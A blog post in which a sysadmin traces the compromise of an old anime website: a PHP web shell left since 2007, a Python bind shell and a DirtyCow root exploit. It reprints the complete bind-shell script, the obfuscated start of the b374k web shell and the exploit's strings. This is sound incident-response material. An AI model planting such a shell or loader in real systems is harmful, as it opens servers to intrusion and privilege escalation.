Tracing a DirtyCow exploit hack several years back to 2007

Written by - 0 comments

Published on - Listed in Hacks Linux Internet


Usually when a web-application is hacked, you get to know it immediately. Sometimes because the hacked website will be abused to send thousands of spams. Sometimes a phishing page is uploaded to fool people still not knowing about phishing pages. Sometimes other websites are being attacked through a script (congratulations, your server is now part of a botnet!).

But a few days ago, something caught my eye:

www-data 25948  0.0  0.0  17524  1424 ?        S    Oct22   0:00 sh -c cd '/var/www/web230/html/anime-gateway/Artikel/bilder' ; pyth
www-data 25949 99.9  0.0  36216  4376 ?        R    Oct22 5447:51  \_ python a7x4M7mJcuBX_bind.py
www-data 25953  0.0  0.0  17708  1696 pts/0    Ss   Oct22   0:00      \_ /bin/bash
www-data 25986  0.0  0.0  30676   684 pts/0    Sl+  Oct22   0:09          \_ ./ct

So it was an uploaded python script which got executed - that wasn't really a surprise. The interesting information was the path: /var/www/web230/html/anime-gateway/Artikel/bilder. Anime-Gateway was a website I co-created in 2006/2007. It's been dead for several years but I kept it online for historical reasons. Out of curiosity I wanted to know what happened. From what I could remember from the programming, back then we used an authentication system which used a connection to a forum software's user database. Only authenticated users (with a certain role) were able to upload material via the web interface.

An output of the newest files within /var/www/web230/html/anime-gateway/Artikel/bilder revealed a recent change of files:

-rw-r--r-- 1 web230   www-data  31673 May 25  2008 aotw.jpg
-rw-r--r-- 1 www-data www-data      0 Sep 22 16:27 test.py
-rw-r--r-- 1 www-data www-data    679 Sep 22 16:30 l.py
-rw-r--r-- 1 www-data www-data    549 Oct 22 15:06 a7x4M7mJcuBX_bind.py
-rwxr-xr-x 1 www-data www-data  11396 Oct 22 16:12 ct

As you can see, the last uploaded "real" picture was from May 2008. Pretty long time ago. But then come new files from September 22, 2016!

root@server /var/www/web230/html/anime-gateway/Artikel/bilder # stat test.py  
  File: `test.py'
  Size: 0             Blocks: 0          IO Block: 4096   regular empty file
Device: fd01h/64769d    Inode: 6088984     Links: 1
Access: (0644/-rw-r--r--)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2016-09-22 16:27:05.000000000 +0200
Modify: 2016-09-22 16:27:05.000000000 +0200
Change: 2016-09-22 16:27:05.000000000 +0200


root@server /var/www/web230/html/anime-gateway/Artikel/bilder # stat l.py  
  File: `l.py'
  Size: 679           Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 6088981     Links: 1
Access: (0644/-rw-r--r--)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2016-10-26 11:07:31.000000000 +0200
Modify: 2016-09-22 16:30:20.000000000 +0200
Change: 2016-09-22 16:30:20.000000000 +0200


root@server /var/www/web230/html/anime-gateway/Artikel/bilder # stat a7x4M7mJcuBX_bind.py  
  File: `a7x4M7mJcuBX_bind.py'
  Size: 549           Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 1712265     Links: 1
Access: (0644/-rw-r--r--)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2016-10-26 11:08:19.000000000 +0200
Modify: 2016-10-22 15:06:13.000000000 +0200
Change: 2016-10-22 15:45:26.000000000 +0200


root@server /var/www/web230/html/anime-gateway/Artikel/bilder # stat ct
  File: `ct'
  Size: 11396         Blocks: 24         IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 1712266     Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2016-10-26 11:06:43.000000000 +0200
Modify: 2016-10-22 16:12:44.000000000 +0200
Change: 2016-10-22 16:13:36.000000000 +0200

The executed python script a7x4M7mJcuBX_bind.py looked like this:

# cat a7x4M7mJcuBX_bind.py
#!/usr/bin/python2
"""
Python Bind TCP PTY Shell - testing version
infodox - insecurety.net (2013)
 
Binds a PTY to a TCP port on the host it is ran on.
"""
import os
import pty
import socket
 
lport = 31343
 
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('', lport))
    s.listen(1)
    (rem, addr) = s.accept()
    os.dup2(rem.fileno(),0)
    os.dup2(rem.fileno(),1)
    os.dup2(rem.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
     
if __name__ == "__main__":
    main()

A quick research of that content led me to infodox (https://github.com/infodox/python-pty-shells). According to the github repo, this is:

The following is a collection of bind and reverse shells which give you a fully working PTY.

Ohhh great. Just what I needed....

The file "ct" was the newest one by timestamp and is also the one which was executed from within the python script, once it opened a shell pty. It was a binary file but using "strings" I was able to see what's going on:

# cat ct  | strings
/lib64/ld-linux-x86-64.so.2
__gmon_start__
_Jv_RegisterClasses
libpthread.so.0
write
system
pthread_create
pthread_join
lseek
libc.so.6
fopen
puts
mmap
memset
memcmp
memcpy
fclose
asprintf
fread
madvise
sleep
__libc_start_main
__fxstat
GLIBC_2.2.5
fffff.
l$ L
t$(L
|$0H
thread stopped
/proc/self/mem
%s is overwritten
Popping root shell.
Don't forget to restore /tmp/bak
DirtyCow root privilege escalation
Backing up %s.. to /tmp/bak
cp %s /tmp/bak
Size of binary: %d
Racing, this may take a while..
;*3$"
/usr/bin/passwd
/bin/sh
/bin/bash
GCC: (Debian 4.7.2-5) 4.7.2
GCC: (Debian 4.4.7-2) 4.4.7
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
call_gmon_start
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6092
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
40616.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
pth1
pth3
pthread_create@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
data_start
puts@@GLIBC_2.2.5
fread@@GLIBC_2.2.5
write@@GLIBC_2.2.5
madviseThread
_edata
fclose@@GLIBC_2.2.5
_fini
mmap@@GLIBC_2.2.5
system@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
lseek@@GLIBC_2.2.5
stop
memset@@GLIBC_2.2.5
fstat
procselfmemThread
name
__libc_start_main@@GLIBC_2.2.5
memcmp@@GLIBC_2.2.5
suid_binary
__data_start
memcpy@@GLIBC_2.2.5
sc_len
__gmon_start__
__dso_handle
_IO_stdin_used
pth2
__libc_csu_init
__fxstat@@GLIBC_2.2.5
_end
_start
__bss_start
asprintf@@GLIBC_2.2.5
main
madvise@@GLIBC_2.2.5
open@@GLIBC_2.2.5
__fstat
fopen@@GLIBC_2.2.5
pthread_join@@GLIBC_2.2.5
_Jv_RegisterClasses
waitForWrite
__TMC_END__
_ITM_registerTMCloneTable
sleep@@GLIBC_2.2.5
_init

Mainly the following lines got my fullest attention:

Popping root shell.
Don't forget to restore /tmp/bak
DirtyCow root privilege escalation
Backing up %s.. to /tmp/bak
cp %s /tmp/bak
Size of binary: %d
Racing, this may take a while..
;*3$"
/usr/bin/passwd
/bin/sh
/bin/bash

Uwah! It's a friggin' DirtyCow exploit!

The created binary was indeed created and then copied to /tmp/bak:

# stat /tmp/bak
  File: `/tmp/bak'
  Size: 43280         Blocks: 88         IO Block: 4096   regular file
Device: fd04h/64772d    Inode: 2895        Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2016-10-26 11:14:16.000000000 +0200
Modify: 2016-10-22 16:13:37.000000000 +0200
Change: 2016-10-22 16:13:37.000000000 +0200

In the python script above, there was the port "31343" defined as listening port. Did it really open? Yes, it did:

# netstat -nltup | grep 31343
tcp        0      0 0.0.0.0:31343           0.0.0.0:*               LISTEN      25949/python 

So far I knew: A python script (infodox) was uploaded, which listened to a tcp port and allowed to open a pty shell. This was then used to execute a binary file to exploit the DirtyCow vulnerability.
But what I didn't know yet: How the hell did the python script came on the server?

I checked the logs of September 22nd 2016 and found this:

46.166.179.39 - - [22/Sep/2016:16:24:49 +0200] "POST /Artikel/bilder/upload.tmp.php? HTTP/1.1" 200 2606 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
46.166.179.39 - - [22/Sep/2016:16:26:40 +0200] "GET /Artikel/bilder/upload.tmp.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2524 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php?x=info" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
46.166.179.39 - - [22/Sep/2016:16:27:05 +0200] "POST /Artikel/bilder/upload.tmp.php? HTTP/1.1" 200 2816 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php?" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"

Gotcha, a file upload.tmp.php was used to upload the files into a chmodded 777 folder (that was intended because that's the image folder for the Anime reviews articles).
But this didn't answer me anything. In fact, it raised more questions: Who put that file there? Why is it there? Did I commit this common mistake to leave a vulnerable file in an accessible web folder? What exactly is this file? And also: Who'd find a file like this on a website which has been dead for years?

I went back further in the logs and found the first requests of that file back in May 2016:

access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:37:49 +0200] "GET /Artikel/bilder/upload.tmp.php HTTP/1.1" 200 1721 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:37:49 +0200] "GET /Artikel/bilder/upload.tmp.php?! HTTP/1.1" 200 18691 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:37:49 +0200] "GET /Artikel/bilder/upload.tmp.php?| HTTP/1.1" 200 29462 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:59:08 +0200] "GET /Artikel/bilder/upload.tmp.php HTTP/1.1" 200 1721 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:59:08 +0200] "GET /Artikel/bilder/upload.tmp.php?! HTTP/1.1" 200 18691 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"

These were only GET requests. So I assume it was kind of a bot just trying thousands of domains and paths for that filename. Time to check out that file:

-rw-r--r-- 1 web230   www-data    832 Aug 11  2007 upload.php
-rw-r--r-- 1 www-data www-data  99404 Aug 11  2007 upload.tmp.php

There are two files. upload.php uploaded by the FTP user, probably me, back on August 11 2007. Yet on the same day: upload.tmp.php. This one however not created by the FTP user, no, created by www-data under which PHP was ran!
Let's check out that tmp file (here's the begin of the file, it turned out to be huge):

# cat upload.tmp.php
<?php
$s_pass = "b0cb1adce7bde2f86172353cc3030abc5ba9843a";
$s_func="cr"."eat"."e_fun"."cti"."on";$b374k=@$s_func('$x,$y','ev'.'al'.'("\$s_pass=\"$y\";?>".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("rP2HruxcliaIvUpOojGVJZaa3k0biQwygt77gZCg995TNe8u/plV3dVGM4Ag3IsbQW7Dvfda6zPnnhPnP/4/pmr6079b/3rky5/+05/+jPx76s//4Y/rrd66/I87CUpi7Z/+/O//3udvbd1Y1sPbo/+jA0pA0J/+b39CsPcf8m/NWZ7s5dtSxN2a/4c//T/H5K/rFi/bX/7xvVjz7W8j/9rVfb39BfrjXj3Uf33v/+Ufqq3v/povy7is//BP/wD9wx+NaZfHyzt+S+O0yv+YI8

Believe me, I never reached a PHP coding level like this, so this definitely didn't come from me. The PHP script contained base64 encoded parts in it and at the end probably showed a web shell after entering the correct password ($s_pass).

I'd love to go back and have logs from 2007 to see what was going on and how this file was uploaded - but as you can imagine, they're long gone. Hell, I wasn't even married back then.
Unfortunately I can only assume, that we added the authentication on the website later that year and someone used the form (without authentication) to upload this file upload.tmp.php, which stayed there left alone for several years until somehow someone found it and used it to exploit the DirtyCow vulnerability.
All I could do in this case was a cleanup, remove the uploaded files, adapt the folder permissions so uploads are not possible anymore (it's enough to load the pictures for the articles as an archive) and disable the www-data user to open a shell and launch commands (like executing the python script in the first place).


Add a comment

Show form to leave a comment

Comments (newest first)

No comments yet.

RSS feed

Blog Tags:

  AWS   Android   Ansible   Apache   Apple   Atlassian   BSD   Backup   Bash   Bluecoat   CMS   Chef   Cloud   Coding   Consul   Containers   CouchDB   DB   DNS   Database   Databases   Docker   ELK   Elasticsearch   Filebeat   FreeBSD   Galera   Git   GlusterFS   Grafana   Graphics   HAProxy   HTML   Hacks   Hardware   Icinga   Influx   Internet   Java   KVM   Kibana   Kodi   Kubernetes   LVM   LXC   Linux   Logstash   Mac   Macintosh   Mail   MariaDB   Minio   MongoDB   Monitoring   Multimedia   MySQL   NFS   Nagios   Network   Nginx   OSSEC   OTRS   Office   PGSQL   PHP   Perl   Personal   PostgreSQL   Postgres   PowerDNS   Proxmox   Proxy   Python   Rancher   Rant   Redis   Roundcube   SSL   Samba   Seafile   Security   Shell   SmartOS   Solaris   Surveillance   Systemd   TLS   Tomcat   Ubuntu   Unix   VMWare   VMware   Varnish   Virtualization   Windows   Wireless   Wordpress   Wyse   ZFS   Zoneminder